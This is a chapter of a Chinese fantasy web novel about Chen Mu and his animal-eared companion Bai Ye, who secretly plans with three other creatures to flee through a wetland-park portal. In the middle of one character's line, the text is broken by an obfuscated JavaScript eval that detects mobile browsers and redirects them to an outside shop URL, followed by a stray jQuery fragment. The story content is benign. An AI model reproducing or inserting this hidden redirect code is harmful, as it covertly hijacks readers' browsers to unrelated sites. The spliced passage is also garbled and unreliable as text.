第二天，陈木照常去上班。
他在闹钟响之前就醒了。
窗帘缝隙里透进来的光还是灰白色的，天刚亮不久，楼下的街道上偶尔传来一声电动车的喇叭响。
他侧过头，看向床的另一侧——柏夜还睡着，侧着身，面朝着窗户的方向，一条手臂搭在被子外面，指节微微蜷着。
陈木看了一会儿，然后轻手轻脚地坐起来穿着拖鞋走进卫生间，关上门，拧开水龙头。
洗漱完出来的时候，他路过卧室门口，在门口停了一拍，然后走开了。
他在厨房里热了一杯牛奶，倒进杯子里放在茶几上，又切了两片面包放在盘子里。
做完这些之后，他回到卧室换了衣服，站在镜子前面检查了一下衣领和袖口。他到门口换了鞋站起来，拉开门，走了出去。
陈木坐在工位上，目光落在电脑屏幕上。他点开了一个表格，往下拉了几行，又往上拉回去，发现自己没有记住任何一行数据。
陈木担心回到家发现柏夜不见了。
这个念头在白天会变得特别清晰。
他有时候会想，柏夜是什么时候开始看那本杂志的。他好像从来没有问过。他也从来没有问过柏夜在他不在的时候都在做什么——是不是一直坐在沙发上，还是站起来在客厅里走，还是站在窗前看着楼下。
他只在每天推开门的时候看到那个画面：沙发上坐着一个人，或者一只猫，然后那条尾巴晃一下，像在说"你回来了"。
他怕有一天推开门的时候，沙发上没有人也没有猫，只有那条叠好的毯子和一只空杯子。
上午过去了。午饭的时候他在公司楼下买了饭，然后回到工位上继续工作。
下午的时候他整理完了两份文件，打印了四页合同，端着一杯水从茶水间走回工位。
他坐回工位上的时候，手机亮了一下。他拿起来一看，是房东王姨发来的消息：【陈木，今天该交房租了，2500，别忘了。】
陈木靠进椅背里，看着那行字。他当然记得，只是这个月卡里的余额比他预想的更少一些。
他把手机拿起来，两只手捧着，拇指在屏幕上方停了两秒，然后打字：
【抱歉，王姨，我才找到工作，工资还没发，你看房租能不能晚点交。】
他盯着那行字看了一会儿。他不知道"晚几天"这句话说出来之后，对方会不会答应。
王姨是一个说话不紧不慢的中年女人，平时见到他会笑一下，说"回来了啊"，然后上楼去。他在这个小区里住了一年了，从没有欠过房租。这是第一次。
手机震了一下。
王姨的回复比他预想的来得快：【没事没事，找到工作也不容易啊。晚了就晚了，下个月补上就行。别太着急。】
陈木看着那行字，坐直了。他的拇指在屏幕上方悬了一下，然后他发了一个"感谢"的表情包
同一时间，出租屋里。
柏夜坐在沙发上，手撑着头，眼睛阖着。他的呼吸很浅很慢，尾巴从沙发边缘垂下来，尾尖几乎贴着地板。
屋里的光线已经从清晨的灰白色变成了午后的暖金色，在沙发靠背上铺了一长条光带。那本旧杂志合着放在茶几上，杯子里还剩半杯凉透的牛奶。
有人敲门。
三声，不重不轻，指节敲在木门上的声音。柏夜微微睁眼，金色的瞳孔在光线里亮了一下，从暗处被唤醒。他没有站起来，只是把目光转向门口的方向，眼眸里金色的光芒轻轻一闪。
门开了。
门朝内推开，三个人依次走进来。
走在最前面的是一个白色齐耳短发的女人，她的头发在灯光下泛着一层柔和的光，浅红色的眼眸，像被稀释过的玫瑰色。她的头顶支棱着两只白色的兔耳朵，内侧是极浅的粉色绒毛，在灯光下泛着一层毛茸茸的微光。她的身后有一条短短的白色尾巴，藏在白色外套下摆的下方，但她走动的时候会轻轻晃一下，然后又静止了。
她身后跟着一个蓝色长发的男人——蓝澈。他的浅蓝色眼睛在客厅的灯光下亮了一下，眼下两道细长的蓝色纹饰随着他眨眼的动作微微一弯。
最后进来的是一个蓝黑色短发的男人。他比前面两个人高出一截，身形清瘦，步态很轻。他的暗红色眼睛在进门之后迅速扫了一遍客厅的布局——沙发、茶几、冰箱、阳台——然后落回柏夜身上。他的视线在那道黑色的身影上停了半拍，然后他侧过身，背靠着门边的墙壁，双手垂在身侧，不再动了。
三个人都进来了，门在他们身后自动合拢，发出一声极轻的咔嗒。
“坐。”柏夜说。
薇薇坐下来，把腿交叠，兔耳朵微微朝柏夜的方向偏了偏。蓝澈在她旁边坐直，膝盖并拢，双手放在膝盖上。赤青靠在门边的墙上，双臂交叠在胸前，深红的眼睛看着柏夜。
薇薇开口了："柏夜，我们什么时候走？"
柏夜沉默了几秒。
薇薇再次开口："柏夜，我们现在待在这也不是个办法。你难道要看着同族们被那些人类一个一个都杀光吗？"
柏夜看着她。
目光从她的眼睛移到她身后那扇窗，窗外是浅灰色的天空和远处几栋楼的屋顶，屋顶上的云在缓慢地移动。
"这周末……就走。"
薇薇的兔耳朵动了一下。她的坐姿没有变，但她的呼吸慢了一拍。她在等那个"走"字落下来，确定它没有在半空中改变方向——它落下来了。她靠在沙发靠背里，目光从柏夜脸上移开，落在窗台上。然后她点了一下头。
柏夜在"就走"之后沉默了一会儿，然后继续说下去。他把目光从薇薇脸上移到蓝澈身上："蓝澈，通道的位置确认过了？"
蓝澈抬起头："湿地公园东侧，芦苇荡深处。那里的空间壁比城市里薄，穿过去的时候不会留下太强的痕迹。"他的声音顿了一下，像是在脑子里过了一遍路线，"周日晚上月升之后是最好的时间。月光会让通道的边界更清晰一些。"
"薇薇，物资能准备好吗？"
"能。"薇薇把脚边那个黑色帆布包拎起来晃了一下，"压缩饼干、打火机、手电筒、两瓶水。到了那边之后，我们可以在旧地北边找到补给。"
"赤青。"
门边那个身影站直了。深红色的眼睛从帽檐下面抬起来，落在柏夜脸上。
"断后。"柏夜说，"如果有人从后面跟上来，你先处理。不需要正面冲突，拖住他们，等我们穿过通道再说。"
赤青没有说话，但他的下巴往下压了一下，又抬起来。那个动作像是一个不需要语言确认的承诺。
"你们近期的状态呢？"柏夜问。
薇薇先回答了："我那边没什么问题。那个独居的人类不会注意到一只兔子出没的规律。这周走的话，直接离开就行。"
蓝澈："我已经摸清了附近的路。周五晚上过去之前，我可以先到湿地公园看一眼，确
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735571|209045||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
认没有异常。"
赤青："……一直在湿地。周围的情况我清楚。没有人在附近活动。"
柏夜听完之后，点了一下头。他又看了三个人一眼，然后说："周日傍晚，湿地公园东边芦苇荡。在那之前，不要让人注意到你们的活动。"
薇薇站起来。蓝澈也跟着站起来。赤青已经先一步走到了门口，手搭在门把手上，回头看着屋里另外两个人。
三人依次出门。
门合拢了。
屋子里重新安静下来。
柏夜坐在沙发上，阳光从窗户照进来，在地板上缓慢地移动着。他垂着眼，看着自己搭在膝盖上的手，看了很长时间。
傍晚六点零七分，陈木推开门。
客厅的灯是亮着的。他站在门口换鞋的时候，目光已经扫过了沙发。
沙发上坐着一个人，穿着他那件白色短袖，手边放着一本翻开的旧杂志。柏夜听到门响，抬起眼看向门口的方向，金色的眼睛在灯光下亮了一瞬，然后他的尾巴从沙发边缘垂下来，尾尖极其轻微地晃了一下。
陈木站在门口，手里还拎着钥匙，看到那条尾巴尖晃动的时候，他的肩膀微微松了一下，像一截绷了一整天的弦终于被松开了一扣。
陈木沉默了一下。他没有说话，站起来走进厨房，拉开冰箱门看了看。
牛奶还剩半盒，鸡蛋还剩两个，西红柿还有两个。他想了想，转身从柜子里取出一把挂面，又拿了鸡蛋和西红柿，打开水龙头开始洗菜。
柏夜坐在沙发上没有动，但他的目光从杂志上抬起来，转向厨房的方向，看着陈木站在灶台前面切西红柿的背影。
刀刃落在案板上的声音从厨房里传出来，笃，笃，笃，均匀而稳定，像是某种熟悉的声音重新填满了整个屋子的安静。
晚饭做好了。
两碗西红柿鸡蛋面放在餐桌上，碗沿冒着热气，红色的汤汁浸透了面条的表面，黄色的蛋块堆在最上面。
两个人面对面坐着，各自夹起一筷子面，没有说话。
筷子和碗沿碰撞的细碎声响在安静的屋子里起起落落，像一小片一小片柔软的光，填满了餐桌周围的空气。
吃完饭后柏夜把碗收拾到厨房里洗了。他站在水池前面，开着水龙头，用洗碗布沿着碗壁擦了一圈，把泡沫冲干净，放在沥水架上。陈木站在厨房门口，靠着门框看着他洗完最后一只碗，然后把擦手的毛巾递了过去。
柏夜接过毛巾擦了擦手，把毛巾搭回门把手上。
窗外的天色已经完全暗下来了。
他们走进卧室的时候，客厅的灯已经关了，走廊的感应灯在身后自动熄灭，发出极轻的咔嗒声。
柏夜在床的右侧躺下来，尾巴从被子边缘露出来，搭在床单上。陈木在左侧躺下，把被子拉到肩膀。
过了一会儿，雨声就来了。
起初是极轻的，像有什么东西在远处翻动着什么细碎的东西，沙沙地、慢慢地靠近。然后它近了。
雨点打在阳台窗户的玻璃上，发出细密的噼啪声，每一粒都像是在玻璃上按了一下，留下一个极短的声音就消失了。
声音越来越多，越来越密，连成了一片。
陈木侧着头，面朝着窗户的方向。窗帘半拉着，外面的路灯灯光透进来，在窗帘上投了模糊的光晕，雨点落在玻璃上的影子在窗帘上缓慢地滑动。
陈木听着雨声，闭上眼睛。
窗外雨声未歇。